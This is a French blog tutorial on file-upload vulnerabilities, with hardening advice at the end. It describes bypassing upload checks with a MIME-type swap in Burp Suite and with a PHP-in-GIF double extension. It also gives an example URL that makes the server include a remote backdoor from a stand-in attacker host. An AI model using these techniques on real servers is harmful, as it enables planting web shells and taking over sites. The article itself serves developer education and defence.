Faille Upload, c’est quoi et comment s’en protéger ?

clients torrent
clients torrent

Dernière mise à jour : 13 mai 2024

Imaginez un site web qui vous permet d’ajouter (ou d’uploader) des photos. Normalement, vous ne pouvez ajouter que des photos, comme des JPEG ou des PNG. Mais si le site n’est pas bien protégé, il se pourrait que quelqu’un ajoute autre chose, comme un fichier malveillant.

Cette erreur de protection s’appelle la faille d’upload. Elle arrive quand un site web accepte des fichiers qu’il ne devrait pas accepter.

Dans cet article, nous découvrirons la faille d’upload. Nous allons voir comment fonctionne cette vulnérabilité, pourquoi elle est préoccupante, et comment un hacker pourrait potentiellement l’exploiter. Nous vous montrerons également comment s’en protéger.

Info: Il est important de noter que bien qu’il existe de nombreuses façons d’exploiter la faille d’upload, nous n’aborderons ici que deux méthodes spécifiques. Notre objectif n’est pas de fournir un guide complet, mais plutôt une initiation à la compréhension du sujet. Ceci afin que les professionnels de la sécurité et les développeurs web soient mieux équipés pour défendre leurs sites contre de telles vulnérabilités.

Comment fonctionne la faille Upload ?

Commençons par comprendre ce qu’est la faille Upload.

Cette vulnérabilité critique permet aux pirates de contourner les mesures de sécurité en téléversant des fichiers avec des extensions normalement bloquées, comme du code PHP, directement sur votre serveur. Cela ouvre une porte dérobée à des intrusions malveillantes pouvant compromettre l’ensemble de votre serveur.

Un formulaire de téléchargement non sécurisé est une invitation ouverte aux hackers, qui peuvent déposer un web shell ou d’autres malwares. Ces fichiers malveillants leur octroient un contrôle absolu sur votre application web et votre serveur, mettant en péril non seulement votre site mais aussi les données sensibles qu’il contient.

Comment cela se produit-il ?

Maintenant que vous avez compris ce qu’est la faille Upload, vous allez sûrement vouloir savoir comment cela se produit.

Et bien sachez que beaucoup de sites internet font une erreur simple mais dangereuse : ils vérifient uniquement l’extension du fichier, comme .JPEG pour les photos. Mais ce n’est pas parce qu’un fichier se termine par .JPEG qu’il est forcément inoffensif. Les hackers sont malins et savent très bien comment déguiser leurs fichiers dangereux en fichiers anodins.

Exemple simple :

Imaginons que vous ayez une porte chez vous qui ne s’ouvre que pour votre famille. Si cette porte croit que tout le monde avec un chapeau est un membre de votre famille, alors quelqu’un de malintentionné avec un chapeau pourrait entrer. C’est pareil avec cette faille : le site croit que c’est une photo, alors qu’en réalité, c’est quelque chose de dangereux.

Comment un hacker pourrait-il exploiter cette faille d’upload ?

Contourner la vérification MIME

La première technique et la plus simple qu’utilise un hacker est de manipuler le type MIME d’un fichier pour contourner les contrôles de sécurité lors des téléchargements de fichiers sur un serveur.

Par exemple, un fichier malveillant avec une extension .php pourrait être déguisé en image .jpeg en modifiant son en-tête MIME pour qu’il apparaisse comme ‘image/jpeg’. Cela pourrait tromper le serveur en lui faisant croire qu’il traite une image inoffensive, alors qu’en réalité, il s’agit d’un script PHP qui peut exécuter des commandes malveillantes sur le serveur.

Pour ce faire un test sur votre site web, suivez ces étapes :

  • Tout d’abord, télécharger et installer l’outil Burp Suite,
  • Ensuite, configurer votre navigateur pour qu’il utilise le proxy de Burp Suite. Pour cela, ouvrez Burp Suite et allez dans l’onglet Proxy > Intercept et cliquez sur Intercept is on.

Maintenant, Burp Suite est en écoute et configuré comme proxy sur le navigateur. Il suffit maintenant d’envoyer un fichier PHP déguisé en image JPG.

Pour cela, voici comment faire :

  • Ouvrez votre site web disposant d’un formulaire de téléchargement non sécurisé depuis le navigateur du logiciel Burp Suite.
  • Ensuite, cliquez sur le bouton d’upload et sélectionnez le fichier PHP que vous souhaitez téléverser.
  • Maintenant, dans Burp Suite, vous devriez voir la requête interceptée.
  • Sous l’onglet Proxy et HTTP history, identifiez la requête d’upload du fichier. Cliquez dessus pour la sélectionner.
  • Dans la section Request Headers, repérez content-type, qui pourrait être text/php et le remplacer par image/jpeg.
  • Cliquez sur le bouton Forward pour transmettre la requête modifiée au serveur.

Si le fichier est accepté, cela pourrait indiquer une faille de sécurité. Une telle découverte devrait être corrigé.

2) Double extension

Certains scripts ne font que vérifier l’extension du fichier, mais même cette protection peut être contournée par un pirate en utilisant une double extension (selon l’hébergeur).

Voici comment cela fonctionne :

  • Tout d’abord, nous créons un fichier GIF. Pour ce faire, ouvrez le programme Paint et créez une image de quelques pixels.
  • Ensuite, ouvrez notre fichier GIF avec un éditeur hexadécimal (comme Frhed, l’un des meilleurs pour cette tâche).
  • Maintenant, imaginez que nous insérions du code PHP dans notre GIF et que nous ajoutions une double extension (.php.gif).
  • Dans notre éditeur, nous trouvons un espace vide où nous pouvons ajouter un en-tête HTML ainsi que la fonction « include ».
  • Ainsi, nous obtenons notre fichier.php.gif.
  • Lorsque nous l’uploadons, l’opération semble réussir.
  • Nous pouvons alors accéder à notre fichier.php.gif?test=http://www.sitepirate.com/backdoor.php. Et voilà, notre backdoor est en place.

Cela montre comment une simple double extension peut permettre à un pirate de contourner les vérifications et d’introduire une backdoor sur le serveur.

Conseils pour sécuriser les fonctionnalités d’upload

Pour prévenir les failles d’upload, suivez ces recommandations :

  • Utilisez des bibliothèques bien établies et maintenues pour le traitement des fichiers, comme Django’s FileField ou CarrierWave pour Ruby on Rails.
  • En plus de vérifier l’extension de fichier, effectuez une vérification du type MIME du fichier côté serveur pour vous assurer qu’il correspond réellement à son extension.
  • Lorsque vous enregistrez des fichiers, renommez-les en utilisant un nom généré aléatoirement ou un hachage unique au lieu de conserver le nom d’origine. Cela rendra plus difficile pour les attaquants de deviner le nom des fichiers sur votre serveur.
  • Assurez-vous que toutes les vérifications de sécurité se font côté serveur. Ne vous fiez pas uniquement aux contrôles côté client, car ils peuvent être contournés.
  • Considérez l’utilisation de systèmes de stockage dédiés, comme Amazon S3 ou Google Cloud Storage, pour stocker les fichiers téléversés.
  • Surveillez et analysez régulièrement les journaux d’activité liés aux téléversements pour détecter toute activité suspecte ou des schémas inhabituels.
  • Ne pas permettre de voir l’index of du répertoire d’upload. Assigner les bonnes permissions au répertoire.